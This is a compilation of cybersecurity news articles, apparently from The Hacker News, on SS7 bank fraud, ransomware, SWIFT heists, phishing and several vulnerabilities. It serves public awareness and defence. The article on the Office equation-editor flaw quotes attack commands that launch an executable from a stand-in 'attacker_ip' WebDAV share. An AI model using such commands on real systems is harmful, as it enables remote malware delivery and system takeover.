Real-World SS7 Attack — Hackers Are Stealing Money From Bank Accounts | https://thehackernews.com/2017/05/ss7-vulnerability-bank-hacking.html | Security researchers have been warning for years about critical security holes in the Signaling System 7 (SS7) that could allow hackers to listen in private phone calls and read text messages on a potentially vast scale, despite the most advanced encryption used by cellular networks.
Cellular networks, on the other hand, have consistently been ignoring this serious issue, saying that it is a very low risk for most people, as the exploitation of the SS7 flaws requires significant technical and financial investment.
But some unknown hackers have just proved them wrong by recently exploiting the design flaws in the SS7 to drain victims' bank accounts, according to a report published Wednesday by German-based newspaper Süddeutsche Zeitung.
SS7 is a telephony signaling protocol created in the 1980s by telcos and powered more than 800 telecom operators across the world, including AT&T and Verizon, to interconnect and exchange data, like routing calls and texts with one another, enabling roaming, and other services.
Real-World SS7 Attack Scenarios
The global telecom network SS7 is vulnerable to several design flaws that could allow hackers to listen to phone calls and intercept text messages on a potentially massive scale, despite the most advanced encryption used by cellular network operators.
The designing flaws in SS7 have been in circulation since 2014 when a team of researchers at German Security Research Labs alerted the world to it.
So, the privacy concerns regarding the SS7 protocol is not new.
Here's the real-world evidence that cyber-criminals are using long-known SS7 vulnerability to drain Bank accounts.
CLICK TO TWEET
Last year, Karsten Nohl of German Security Research Labs demonstrated the SS7 attack on US Congressman Ted Lieu's phone number (with his permission) at TV program 60 Minutes and successfully intercepted his iPhone, recorded call, and tracked his precise location in real-time just by using his cell phone number and access to an SS7 network.
In a separate demonstration, the researchers from Positive Technologies last year also gave a demonstration on the WhatsApp, Telegram, and Facebook hacks using the same designing flaws in SS7 to bypass two-factor authentication used by the services.
Thieves Using SS7 Flaw to Steal Money From Bank Accounts
Now, Germany's O2 Telefonica has confirmed that the same SS7 weaknesses have recently been exploited by cybercriminals to bypass two-factor authentication (2FA) banks used to prevent unauthorized withdrawals from users bank accounts.
"Criminals carried out an attack from a network of a foreign mobile network operator in the middle of January," an O2 Telefonica representative told Süddeutsche Zeitung. "The attack redirected incoming SMS messages for selected German customers to the attackers."
In short, cyber criminals exploited SS7 flaws to intercept two-factor authentication codes (one-time passcode, or OTP) sent to online banking customers and drained their bank accounts.
Here's How:
The attackers first spammed out traditional bank-fraud trojans to infect account holders' computers and steal passwords used to log into bank accounts, view accounts balance, along with their mobile number.
But what prevented the attackers from making money transfers is the one-time password the bank sent via a text message to its online banking customers in order to authorize the transfer of funds between accounts.
To overcome this issue, the cyber crooks then purchased the access to a fake telecom provider and set-up a redirect for the victim's phone number to a handset controlled by them. Specifically, they used SS7 to redirect the SMSes containing OTPs sent by the bank.
Next, the attackers logged into victims' online bank accounts and transferred money out, because as soon as the authorization codes were sent by the bank, instead of designated account holders, they were routed to numbers controlled by the attackers, who finalized the transaction.
Can You Avoid this Hack?
This latest SS7 attack once again shed light on the insecurity by design and lack of privacy in the global telephone network protocol, making it clear that real-world SS7 attacks are possible. And since the SS7 network is used worldwide, the issue puts billions of users in danger.
The incident also underscores the risks of relying on SMS-based two-factor authentication.
Although the network operators are unable to patch the hole anytime soon, there is little the smartphone users can do. Avoid using two-factor authentication via SMS texts for receiving OTP codes. Instead, rely on cryptographically-based security keys as a second authentication factor.
| Vulnerability |
Hackers selling cheap BOTNETs and DDOS on forums | https://thehackernews.com/2012/01/hackers-selling-cheap-botnets-and-ddos.html | Hackers selling cheap BOTNETs and DDOS on forums
The Internet has revolutionized shopping around the world. Security researchers F-Secure reported recently in a post that hackers are Selling Cheap DDOS services on Various Forums. Hackers are offering services like distributed denial of service attacks (DDoS), which can be used to knock website offline in just 1 - 2 hours / 2$ per hour. They Posted a Youtube Video in which a young woman advertises DDoS services.
"We are here to provide you a cheap professional ddos service.We can hit most large websites/forums game servers.We will test the website/server before accepting your money.Due to the nature of the business we dont offer refunds." Offer said.
There is another Interesting Hacker's Shop ! Moreover, for their assaults, the hackers chiefly utilize botnets, while ignorant operators of computers remain unaware that they've gotten contaminated with malware as also being controlled remotely.
"Do you want to be king of the internet? If your answer is yes, then you are in the true place. All of programs has been made by professional coders." This website selling Local Botnet, Irc Botnet, Web Botnet and Keyloggers at 59$ only.
| Malware |
This Antenna Can Remotely Steal Data From Devices using Sound Waves | https://thehackernews.com/2015/08/radio-signal-hacking-computer.html | Remember the previously demonstrated technique to Hack into air-gapped computers using Heat waves?
What if the same was possible to hack computers to steal data using Sound waves?
Imagine, If a remote hacker could steal classified information from a targeted computer without having to physically and Internet access to it.
A team of security researchers has demonstrated exactly the same by developing a new hacking technique called Funtenna that uses sound and radio waves to siphon data from computers even without Internet access.
According to a lead researcher Ang Cui of Red Balloon Security, the Funtenna radio signal hack has the potential to turn Internet-connected devices (printer, washing machine and air conditioner) – popularly known as the Internet of Things – into bugs that can transmit data out of a network using sound waves that can not be heard by a human ear.
How Funtenna Works?
The attacker only needs to install malware on a target's device such as a printer, office phone, or a computer.
The malware overtakes the control of the electronic circuit of the device (general-purpose input/output circuits) and vibrates them at a frequency (which transmits radio signal) of the attacker's preference.
An attacker then can pick up these signals using an AM radio antenna (Funtenna) from a short distance away.
"You have network detection, firewalls… but this transmits data in a way that none of those things are monitoring, this fundamentally challenges how certain we can be of our network security," said Cui.
Here, the hacked devices are themselves acting as transmitters. Therefore, the new Funtenna technique bypasses all conventional network security methodologies.
You can also watch a video demonstration of how Funtenna works below:
Funtenna is actually using a technique known as "Hardware Agnostic," which is generally available to operate with all modern computer systems and embedded devices.
The team showcased its new technique in action at the Black Hat security summit in Las Vegas on Wednesday. It will also release a "proof-of-concept" code for researchers and hackers.
| Malware |
A New Critical SolarWinds Zero-Day Vulnerability Under Active Attack | https://thehackernews.com/2021/07/a-new-critical-solarwinds-zero-day.html | SolarWinds, the Texas-based company that became the epicenter of a massive supply chain attack late last year, has issued patches to contain a remote code execution flaw in its Serv-U managed file transfer service.
The fixes, which target Serv-U Managed File Transfer and Serv-U Secure FTP products, arrive after Microsoft notified the IT management and remote monitoring software maker that the flaw was being exploited in the wild. The threat actor behind the exploitation remains unknown as yet, and it isn't clear exactly how the attack was carried out.
"Microsoft has provided evidence of limited, targeted customer impact, though SolarWinds does not currently have an estimate of how many customers may be directly affected by the vulnerability," SolarWinds said in an advisory published Friday, adding it's "unaware of the identity of the potentially affected customers."
Impacting Serv-U versions 15.2.3 HF1 and before, a successful exploitation of the shortcoming (CVE-2021-35211) could enable an adversary to run arbitrary code on the infected system, including the ability to install malicious programs and view, change, or delete sensitive data.
As indicators of compromise, the company is urging administrators to watch out for potentially suspicious connections via SSH from the IP addresses 98[.]176.196.89 and 68[.]235.178.32, or via TCP 443 from the IP address 208[.]113.35.58. Disabling SSH access on the Serv-U installation also prevents compromise.
The issue has been addressed in Serv-U version 15.2.3 hotfix (HF) 2.
SolarWinds also stressed in its advisory that the vulnerability is "completely unrelated to the SUNBURST supply chain attack" and that it does not affect other products, notably the Orion Platform, which was exploited to drop malware and dig deeper into the targeted networks by suspected Russian hackers to spy on multiple federal agencies and businesses in one of the most serious security breaches in U.S. history.
A string of software supply chain attacks since then has highlighted the fragility of modern networks and the sophistication of threat actors to identify hard-to-find vulnerabilities in widely-used software to conduct espionage and drop ransomware, in which hackers shut down the systems of business and demand payment to allow them to regain control.
| Vulnerability |
Facebook SDK Vulnerability Puts Millions of Smartphone Users' Accounts at Risk | https://thehackernews.com/2014/07/facebook-sdk-vulnerability-puts.html | Security researchers from MetaIntell, the leader in intelligent led Mobile Risk Management (MRM), have discovered a major security vulnerability in the latest version of Facebook SDK that put millions of Facebook user's Authentication Tokens at risk.
Facebook SDK for Android and iOS is the easiest way to integrate mobile apps with Facebook platform, which provides support for Login with Facebook authentication, reading and writing to Facebook APIs and many more.
Facebook OAuth authentication or 'Login as Facebook' mechanism is a personalized and secure way for users to sign into 3rd party apps without sharing their passwords. After the user approves the permissions as requested by the application, the Facebook SDK implements the OAuth 2.0 User-Agent flow to retrieve the secret user's access token required by the apps to call Facebook APIs to read, modify or write user's Facebook data on their behalf.
ACCESSING UNENCRYPTED ACCESS TOKEN
It is important that your secret token is never shared with anyone, but researchers found that Facebook SDK Library stores it in an unencrypted format on the device's file system, which can be accessed easily even on a non-rooted Android or jailed iOS Device.
"With just 5 seconds of USB connectivity, Access token is available on iOS via juice jacking attack, no jailbreak needed and on Android file system, it can be accessed via recovery mode which is tricker and require more time." Chilik Tamir, Chief architect for MetaIntell told The Hacker News.
THREAT FROM OTHER APPS
Moreover, any 3rd party smartphone application with permission to access device file system can read this file and able to steal users' Facebook access tokens remotely, he said.
Researchers dubbed the vulnerability as "Social Login Session Hijacking.". Once exploited, could allow an attacker to access victim's Facebook account information using access token and session hijacking method.
VIDEO DEMONSTRATION: STEALING FACEBOOK TOKEN FROM VIBER
Researchers published a Youtube video, demonstrating the reported vulnerability in one of the most popular messaging application 'VIBER' for iOS.
All those iOS and Android apps are vulnerable to this attack, who are using Facebook SDK for app login and storing users unencrypted access token on the device, Chilik Tamir told The Hacker News in an email.
"MetaIntell has identified that 71 of the top 100 free iOS apps use the Facebook SDK and are vulnerable, impacting the over 1.2 billion downloads of these apps. Of the top 100 Android apps, 31 utilize the Facebook SDK and therefore make vulnerable the over 100 billion downloads of these apps." researcher said in a blog post.
PASSIVE RESPONSE FROM FACEBOOK SECURITY TEAM
MetaIntell team has already informed Facebook Security team about the vulnerability, but it seems that Facebook is not in any mood to update their SDK with a fix.
"I followed up with our Platform team to see if there were any changes they wanted to make here: - On the Android side we've concluded that we will not be making any changes: we are comfortable with the level of security provided by the Android OS. - On the iOS side the team is exploring the possibility of moving the access token storage to the keychain in order to comply with best practices." Facebook replied to MetaIntell after bug report.
WHAT TO DO?
Mobile app users are advised to do not use 'Facebook Login' option within Mobile apps and disallow apps to use their Facebook login. App Developers are recommended to move their users' access tokens from device file system to secure online storage with encrypted channel.
| Vulnerability |
Cryptowall Ransomware Spreading Rapidly through Malicious Advertisements | https://thehackernews.com/2014/06/new-cryptowall-ransomware-spreading.html | Ransomware is an emerging threat in the evolution of cybercriminals techniques to part you from your money. Typically, the malicious software either lock victim's computer system or encrypt the documents and files on it, in order to extort money from the victims.
Though earlier we saw the samples of Ransomware tended to be simple with dogged determinations to extort money from victims. But with the exponential rise in the samples of Ransomware malwares, the recent ones are more subtle in design, including Cryptolocker, Icepole, PrisonLocker, CryptoDefense and its variants.
Now, the ransomware dubbed as Crytowall, a latest variant of the infamous ransomware Cryptolocker is targeting users by forcing them to download the malicious software by through advertising on the high profile domains belonging to Disney, Facebook, The Guardian newspaper and others.
Cryptolocker is designed by the same malware developer who created the sophisticated CryptoDefense (Trojan.Cryptodefense) ransomware, appeared in the end of March, that holds the victims' computer files hostage by wrapping them with strong RSA 2048 encryption until the victim pays a ransom fee to get them decrypted.
But unfortunately, the malware author failed to realize that he left the decryption keys left concealed on the user's computer in a file folder with application data.
So, to overcome this, the developer created Cryptowall ransomware and alike the latest versions of CryptoDefense, the infected system's files and documents encrypted by CryptoWall are impossible to decrypt.
The story broke, when researchers at Cisco revealed that cybercriminals have started targeting people with RIG Exploit Kits (EK) to distribute malicious Cryptowall ransomware malware.
The Rig Exploit Kit was first spotted by Kahu Security in April, which checks for an unpatched version of Flash, Internet Explorer, Java or the Silverlight multimedia program on the infected users and if found, the system is instantly exploited by the bad actors.
Researchers at Cisco have noticed high levels of traffic consistent with the new "RIG" exploit kit, thereby blocking requests to over 90 domains. On further investigation, the company observed that many of its Cloud Web Security (CWS) users were visiting on those malicious domains after clicking advertisements on high-profile domains such as "apps.facebook.com," "awkwardfamilyphotos.com," "theguardian.co.uk" and "go.com," and many others.
If clicked, the advertisements redirect victims to one of those malicious domains in order to malvertise users and once the system get infected with the RIG Exploit Kit, it will deliver the payload which includes the Cryptowall Ransomware malware.
Now, when this CryptoWall is installed in the infected system, it will start scanning the system Hard Drive for data files and encrypt them.
After encrypting the files on victim's system, it will create files containing ransom instructions in every folder it had encrypted, demanding up to $500 USD. The service where users are instructed to pay the ransom amount is a hidden service that uses the Command-and-Control server hosted on TOR .onion domain.
The largest share of infections, some 42 percent, are in the United States, followed by England and Australia, but it believes that several groups and bad actors are involved in this attack chain.
| Malware |
Ecuador Bank Hacked — $12 Million Stolen in 3rd Attack on SWIFT System | https://thehackernews.com/2016/05/swift-banking-hack.html | Bangladesh is not the only bank that had become victim to the cyber heist. In fact, it appears to be just a part of the widespread cyber attack on global banking and financial sector by hackers who target the backbone of the world financial system, SWIFT.
Yes, the global banking messaging system that thousands of banks and companies around the world use to transfer Billions of dollars in transfers each day is under attack.
A third case involving SWIFT has emerged in which cyber criminals have stolen about $12 million from an Ecuadorian bank that contained numerous similarities of later attacks against Bangladesh's central bank that lost $81 Million in the cyber heist.
The attack on Banco del Austro (BDA) in Ecuador occurred in January 2015 and, revealed via a lawsuit filed by BDA against Wells Fargo, a San Francisco-based bank on Jan. 28, Reuters reported.
Here's how cyber criminals target banks:
Uses malware to circumvent local security systems of a bank.
Gains access to the SWIFT messaging network.
Sends fraudulent messages via SWIFT to initiate cash transfers from accounts at larger banks.
Over ten days, hackers used SWIFT credentials of a bank employee to modify transaction details for at least 12 transfers amounting to over $12 Million, which was transferred to accounts in Hong Kong, Dubai, New York and Los Angeles.
In the lawsuit, BDA holds Wells Fargo responsible for not spotting the fraudulent transactions and has demanded Wells Fargo to return the full amount that was stolen from the bank.
The lawsuit filed by BDA in a New York federal court described that the some of these attacks could have been prevented if banks would have shared more details about the attacks with the SWIFT organization.
Wells Fargo has also fired back and blamed BDA's information security policies and procedures for the heist and noted that it "properly processed the wire instructions received via authenticated SWIFT messages," according to court documents.
According to reports, the heist remained a secret for a long time and now disclosed when BDA decided to sue Wells Fargo that approved the fraudulent transfers.
SWIFT did not have any idea about the breach, as neither BDA nor Wells Fargo shared any detail about the attack.
"We were not aware," SWIFT said in a statement. "We need to be informed by customers of such frauds if they relate to our products and services so that we can inform and support the wider community. We have been in touch with the bank concerned to get more information, and are reminding customers of their obligations to share such information with us."
It turns out that the security of SWIFT itself was not breached in the attack, but cyber criminals used advanced malware to steal credentials of bank's employees and cover their tracks.
In February, $81 Million cyberheist at the Bangladesh central bank was carried out by hacking into SWIFT using a piece of malware that manipulated logs and erased the fraudulent transactions history, and even prevented printers from printing those transactions.
| Malware |
Warning! Update Mozilla Firefox to Patch Critical File Stealing Vulnerability | https://thehackernews.com/2015/08/mozilla-firefox-update-download.html | Earlier this week, Mozilla Security researcher Cody Crews discovered a malicious advertisement on a Russian news site that steals local files from a system and upload them to a Ukrainian server without the user ever knowing.
The malicious advertisement was exploiting a serious vulnerability in Firefox's PDF Viewer and the JavaScript context in order to inject a script capable of searching sensitive files on user's local file systems.
Mozilla versions of Firefox that do not contain the PDF Viewer, such as Firefox for Android, are not affected by the "Same origin violation and local file stealing via PDF reader" vulnerability.
The exploit does not execute any arbitrary code but injects a JavaScript payload into the local file context, allowing the script to search for and upload potentially user's sensitive local files.
All an attacker need to do is load the page with this exploit and sit back and relax. The exploit will silently steal files in the background.
According to Mozilla lead security researcher Daniel Veditz, the exploit specifically searches for:
FTP configuration files, subversion, s3browser, Filezilla, libpurple and other account information on Windows systems.
Global configuration files and user directories on Linux systems.
Any files encountered by the exploit are uploaded to a server in Ukraine.
"The exploit leaves no trace it has been run on the local machine," Veditz wrote in a blog post. "If you use Firefox on Windows or Linux it would be prudent to change any passwords and keys found in the above-mentioned files if you use the associated programs."
Mac users are currently safe from this exploit, but researcher warned that another payload could potentially exploit the same vulnerability to target Mac systems.
All versions of Firefox are affected, but the good news is that Mozilla has fixed the issue in its software. So, users are recommended to update browsers to Firefox 39.0.3 to protect against the exploit. Enterprise users can patch to 38.1.1.
| Vulnerability |
Smart Hacking For Privacy : What TV shows you watch ? | https://thehackernews.com/2012/01/smart-hacking-for-privacy-what-tv-shows.html | Smart Hacking For Privacy : What TV shows you watch ?
White-hat hackers have exposed the privacy shortcomings of smart meter technology. At the Chaos Communication Congress in Germany, 28C3, researchers presented "Smart Hacking For Privacy" After analyzing data collected by a smart meter, these gentlemen were able to determine devices like how many PCs or LCD TVs in a home, what TV program was being watched, and if a DVD movie being played had copyright-protected material.
Dario Carluccio and Stephan Brinkhaus demonstrated the flaws. Advanced metering devices (aka smart meters) are nowadays being installed throughout electric networks in Germany, in other parts of Europe and in the United States. Due to a recent amendment especially in Germany they become more and more popular and are obligatory for new and refurbished buildings.
DarrellIssa
The researchers, also customers, learnt that energy consumption data was sent unencrypted because SSL was malfunctioning.They intercepted and manipulated the data using Fritzbox! and WireShark and returned to the company a negative energy consumption rate of -106610 kWh.Similar flaws also allowed Carluccio and Brinkhaus to demonstrate that a customer's entire power consumption history was stored by Discovergy.
They signed up with a company called Discovergy to see what type of information these meters collect, whether they were as secure as the company promised and what they might be able to determine from consumption patterns. Because Discovergy's website's SSL certificate was misconfigured, the meters failed to send data over a secure, encrypted link contrary to claims Discovergy made at the time before the presentation. This meant that confidential electricity consumption data was sent in clear text. Because meter readings were sent in clear text, the researchers were able to intercept and send back forged (incorrect) meter readings back to Discovergy.
A capability that allowed power consumption to be monitored in two-second intervals was also exploited.The researchers said they could determine if a particular movie had been watched based on two-second relay data held by Discovergy and accessed through HTTP GET requests.
Researchers from Münster University of Applied Sciences were previously able analyze smart meter data to identify the power consumption activity for a refrigerator, stove, and television. They showed that the type of LCD TV set could be identified, what TV program was on, or if a movie was playing from a DVD or other source.
The next step was "having fun with the smart meter" which began with writing Python, continuously spoofing the packets, faking smart meter data which required a MITM attack.
| Vulnerability |
Authorities Seize Dark-Web Site Linked to the Netwalker Ransomware | https://thehackernews.com/2021/01/authorities-seize-dark-web-site-linked.html | U.S. and Bulgarian authorities this week took control of the dark web site used by the NetWalker ransomware cybercrime group to publish data stolen from its victims.
"We are striking back against the growing threat of ransomware by not only bringing criminal charges against the responsible actors, but also disrupting criminal online infrastructure and, wherever possible, recovering ransom payments extorted from victims," said Acting Assistant Attorney General Nicholas L. McQuaid of the Justice Department's Criminal Division.
"Ransomware victims should know that coming forward to law enforcement as soon as possible after an attack can lead to significant results like those achieved in today's multi-faceted operation."
In connection with the takedown, a Canadian national named Sebastien Vachon-Desjardins from the city of Gatineau was charged in the U.S. state of Florida for extorting $27.6 million in cryptocurrency from ransom payments.
Separately, the Bulgarian National Investigation Service and General Directorate Combating Organized Crime seized a dark web hidden resource used by NetWalker ransomware affiliates — i.e., cybercrime groups responsible for identifying and attacking high-value victims using the ransomware — to provide payment instructions and communicate with victims.
Visitors to the website will now be greeted by a seizure banner notifying them that it has been taken over by law enforcement authorities.
Chainalysis, which aided in the investigation, said it has "traced more than $46 million worth of funds in NetWalker ransoms since it first came on the scene in August 2019," adding "it picked up steam in mid-2020, growing the average ransom to $65,000 last year, up from $18,800 in 2019."
In recent months, Netwalker emerged as a popular choice of ransomware strain besides Ryuk, Maze, Doppelpaymer, and Sodinokibi, with numerous companies, municipalities, hospitals, schools, and universities targeted by the cybercriminals to extort victims.
Before the takedown, the NetWalker administrator, who goes by the moniker "Bugatti" on darknet forums, is said to have posted an advertisement in May 2020 looking for additional Russian-speaking affiliates as part of a transition to a ransomware-as-a-service (RaaS) model, using the partners to compromise targets and steal data before encrypting the files.
The NetWalker operators have also been part of a growing ransomware trend called double extortion, where the attackers hold the stolen data hostage and threaten to publish the information should the target refuse to pay the ransom.
"After a victim pays, developers and affiliates split the ransom," the U.S. Department of Justice (DoJ) said.
Chainalysis researchers suspect that besides involving in at least 91 attacks using NetWalker since April 2020, Vachon-Desjardins worked as an affiliate for other RaaS operators such as Sodinokibi, Suncrypt, and Ragnarlocker.
The NetWalker disruption comes on the same day that European authorities announced a coordinated takedown targeting the Emotet crimeware-as-a-service network. The botnet has been used by several cybercrime groups to deploy second-stage malware — most notably Ryuk and TrickBot.
| Cyber_Attack |
17-Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction | https://thehackernews.com/2017/11/microsoft-office-rce-exploit.html | You should be extra careful when opening files in MS Office.
When the world is still dealing with the threat of 'unpatched' Microsoft Office's built-in DDE feature, researchers have uncovered a serious issue with another Office component that could allow attackers to remotely install malware on targeted computers.
The vulnerability is a memory-corruption issue that resides in all versions of Microsoft Office released in the past 17 years, including Microsoft Office 365, and works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.
Discovered by the security researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote attacker to execute malicious code on a targeted system without requiring user interaction after opening a malicious document.
The vulnerability, identified as CVE-2017-11882, resides in EQNEDT32.EXE, an MS Office component which is responsible for insertion and editing of equations (OLE objects) in documents.
However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user.
Seventeen years ago, EQNEDT32.EXE was introduced in Microsoft Office 2000 and had been kept in all versions released after Microsoft Office 2007 in order to ensure the software remains compatible with documents of older versions.
DEMO: Exploitation Allows Full System Take Over
Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software.
This vulnerability could be exploited to take complete control over a system when combined with Windows Kernel privilege escalation exploits (like CVE-2017-11847).
Possible Attack Scenario:
While explaining the scope of the vulnerability, Embedi researchers suggested several attack scenarios listed below:
"By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it)."
"One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker."
"Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient."
"After that, an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service."
Protection Against Microsoft Office Vulnerability
With this month's Patch release, Microsoft has addressed this vulnerability by changing how the affected software handles objects in memory.
So, users are strongly recommended to apply November security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.
Since this component has a number of security issues which can be easily exploited, disabling it could be the best way to ensure your system security.
Users can run the following command in the command prompt to disable registering of the component in Windows registry:
reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
For 32-bit Microsoft Office package in x64 OS, run the following command:
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
Besides this, users should also enable Protected View (Microsoft Office sandbox) to prevent active content execution (OLE/ActiveX/Macro).
| Malware |
MyAgent Trojan Targets Defense and Aerospace Industries | https://thehackernews.com/2012/08/myagent-trojan-targets-defense-and.html | FireEye Security experts are analyzing a targeted trojan that leverages emailed PDF files to gain access to systems and deliver its payload to specified networks in the aerospace, chemical, defense and tech industries.
"We have seen different versions of this malware arriving as an exe inside a zipped file or as a PDF attachment. In this particular sample, the exe once executed opens up a PDF file called "Health Insurance and Welfare Policy." In addition to opening up a PDF file, the initial exe also drops another executable called ABODE32.exe (notice the typo) in the temp directory."
The malware also uses JavaScript to assess which version of Adobe Reader is currently running on the host machine, and then executes attacks based on known vulnerabilities in the discovered version. Once the trojan has infected its host machine, it communicates with its command and control server, the user agent string and URI of which are hard-coded into MyAgent's binary.
FireEye reports that most of the payloads are detected by updated antivirus software, based on research executed by running the binaries through VirusTotal.
| Malware |
Web-based DropCam Surveillance Systems Vulnerable to Hackers | https://thehackernews.com/2014/07/web-based-dropcam-surveillance-systems.html | The popular home surveillance webcam service DropCam that keep an eye on your house when you aren't there, can be used as a weapon against you by the cybercriminals, claimed a pair of researchers.
San Francisco-based DropCam, last month announced it would be acquired by Google's Nest for $555 million in cash, makes home-monitoring cameras for the past five years, which allow users to keep track of what's going on inside their homes using a small surveillance camera.
Two researchers named Patrick Wardle and Colby Moore of Synack who discovered the weakness in the Wi-Fi enabled video monitoring system, which they will demonstrate at the DEFCON 22 Hacker Conference in Las Vegas next month.
This WiFi-enabled security camera, that comes for $149 or $199, depending on video quality, requires little-to-no-effort to maintain. You plug it in, get it up on your WiFi, and all is set. If you want to check in on your cameras remotely, it cost you nothing, and if you want DropCam to keep an archive of the recorded footage on their servers, it will cost you from $10 to $30 a month.
The discovered weakness could allow hackers to spy on the targets by watching video and "hot-mike" audio on the cameras, inject fake videos into the surveillance startup in an effort to hide their malicious activities and use the compromised system to attack network.
The hardware of DropCam was reverse engineered by the researchers that allow them to insert a malware "implant" on the device and make them exploit the software vulnerabilities they found in the device's internal software.
"If someone has physical access [to a DropCam device], it's pretty much game over," the director of research at Synack, Wardle told DarkReading. "People need to be aware that these devices can be accessed by hackers or adversaries, and they should be scrutinized in the way people protect their laptops for instance."
Apart from other hardware and software weaknesses in the DropCam equipment, researchers discovered a Heartbleed vulnerability used in the cloud-based WiFi video monitoring service.
The device runs an outdated and unpatched version of an open source Unix toolkit BusyBox, that may not even receive updates, and the older as well as vulnerable version of OpenSSL that made it vulnerable to the critical Heartbleed bug.
Heartbleed, the biggest internet threat, is a critical vulnerability in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data in the plaintext, that the server did not intend to reveal.
An attacker could exploit the Heartbleed vulnerability in the OpenSSL in order to fetch passwords and SSL server's private key.
"The camera is vulnerable to client-side Heartbleed attacks. You could spoof the DropCam DNS server, and the camera would beacon out," Wardle says. "You could throw a Heartbleed exploit and start dumping memory and get [digital] certs."
Moreover, researchers would also reveal how to infect Windows or Mac OS X boxes that were used to configure the vulnerable DropCam systems. The duo will provide a detailed demonstration on their findings in their presentation titled, "Optical Surgery: Implanting a DropCam," at DEF CON hacking Conference, which will be held on August 10.
Like we are so much proactive towards security vulnerabilities of our computers and networks, in the same way their is an important need to actively tackle the security issues with the Internet of Things (IoTs) devices such as this DropCam cameras.
| Vulnerability |
BEWARE – New 'Creative' Phishing Attack You Really Should Pay Attention To | https://thehackernews.com/2019/03/ios-mobile-phishing-attack.html | A cybersecurity researcher who last month warned of a creative phishing campaign has now shared details of a new but similar attack campaign with The Hacker News that has specifically been designed to target mobile users.
Just like the previous campaign, the new phishing attack is also based on the idea that a malicious web page could mimic look and feel of the browser window to trick even the most vigilant users into giving away their login credentials to attackers.
Antoine Vincent Jebara, co-founder and CEO of password managing software Myki, shared a new video with The Hacker News, demonstrating how attackers can reproduce native iOS behavior, browser URL bar and tab switching animation effects of Safari in a very realistic manner on a web-page to present fake login pages, without actually opening or redirecting users to a new tab.
New Phishing Attack Mimics Mobile Browser Animation and Design
As you can see in the video, a malicious website that looks like Airbnb prompts users to authenticate using Facebook login, but upon clicking, the page displays a fake tab switching animation video aimed to trick users into thinking that their browsers are behaving normally.
"The Facebook login page is also definitely fake and is an overlay over the current page that makes it look like an authentic Facebook page," Jebara said.
"From the moment a user accesses the malicious website, they are manipulated into performing actions that seem legitimate, all with the purpose of building up their confidence to submit their Facebook password at the final stage of the attack."
If users are not very attentive to details and fail to spot minor differences, they would eventually end up filling the username and password fields on the phishing page, resulting in giving away their social media credentials to the attackers.
"This attack is poorly implemented and contains multiple flaws from both a process and design point of view. Login with Facebook prompts are presented as an external window in Safari, not as an additional tab that the user is switched to, as the origin URL still appears in minimized form over the fake Facebook navigation bar," Jebara said.
"Although hackers would probably implement this campaign in a more realistic manner, in its current form, a majority of users would fall for this attack, as the details that give it away are relatively subtle, and more importantly, the user is shown specific 'familiar' actions that seem to turn off the part of the brain that doubts the legitimacy of the page."
How to Protect Against Such New Form of Phishing Scams
It should be noted that such advanced phishing attacks are not limited to Facebook, Safari browser or just to iOS mobile users only, but could very easily be adapted to target Android devices or any other social media site as well.
Cybercriminals can target different platforms by creating a website that automatically serves different versions of phishing pages based upon what browser app and mobile device operating system victims use.
Since there are no clear guidelines to spot such creative phishing attacks, users are highly recommended to:
Use password managers that only auto-fill credentials on legit domains, helping you avoid giving away credentials to fake websites.
Enable two-factor authentication, wherever available, preventing hackers from accessing your online accounts even if they somehow manage to steal your credentials.
Besides this, Jebara also suggests users ask themselves "Why am I asked to log in?" Or "Am I not already logged in to this?" when hackers try to mimic the logins of popular websites for which you already have an app on your smartphone.
Phishing is still one of the most severe threats to users as well as companies, and hackers continue to try new and creative ways to trick you into providing them with your sensitive and financial details that they could later use to steal your money or hack into your online accounts.
Stay Safe! Stay Tuned!
| Cyber_Attack |
Here's How Hackers Stole $80 Million from Bangladesh Bank | https://thehackernews.com/2016/03/bank-hacking-malware.html | The recent cyber attack on Bangladesh's central bank that let hackers stole over $80 Million from the institutes' Federal Reserve bank account was reportedly caused due to the Malware installed on the Bank's computer systems.
Few days ago, reports emerged of a group of unknown hackers that broke into Bangladesh's central bank, obtained credentials needed for payment transfers from Federal Reserve Bank of New York and then transferred large sums to fraudulent accounts based in the Philippines and Sri Lanka.
The criminal group was able to steal a total value of about $81 Million from the Federal Reserve's Bangladesh account through a series of fraudulent transactions, but a typo in some transaction prevented a further $850 Million Heist.
However, the question was still there:
How the Hackers managed to transfer $80 Million without leaving any Trace?
Security researchers from FireEye's Mandiant forensics are helping the Dhaka investigators to investigate the cyber heist.
Investigators believe unknown hackers installed some type of malware in the Bangladesh central bank's computer systems few weeks before the heist and watched how to withdraw money from its United States account, Reuters reports.
Although the malware type has not been identified, the malicious software likely included spying programs that let the group learn how money was processed, sent and received.
The malware in question could be a potential Remote Access Trojan (RAT) or a similar form of spyware that gave attackers the ability to gain remote control of the bank's computer.
The investigators suspect the hack could have exploited a "zero-day" flaw as they are unknown to vendors as well.
After this, the hackers were able to steal the Bangladesh Bank's credentials for the SWIFT messaging system, a highly secure financial messaging system utilized by banks worldwide to communicate with each other.
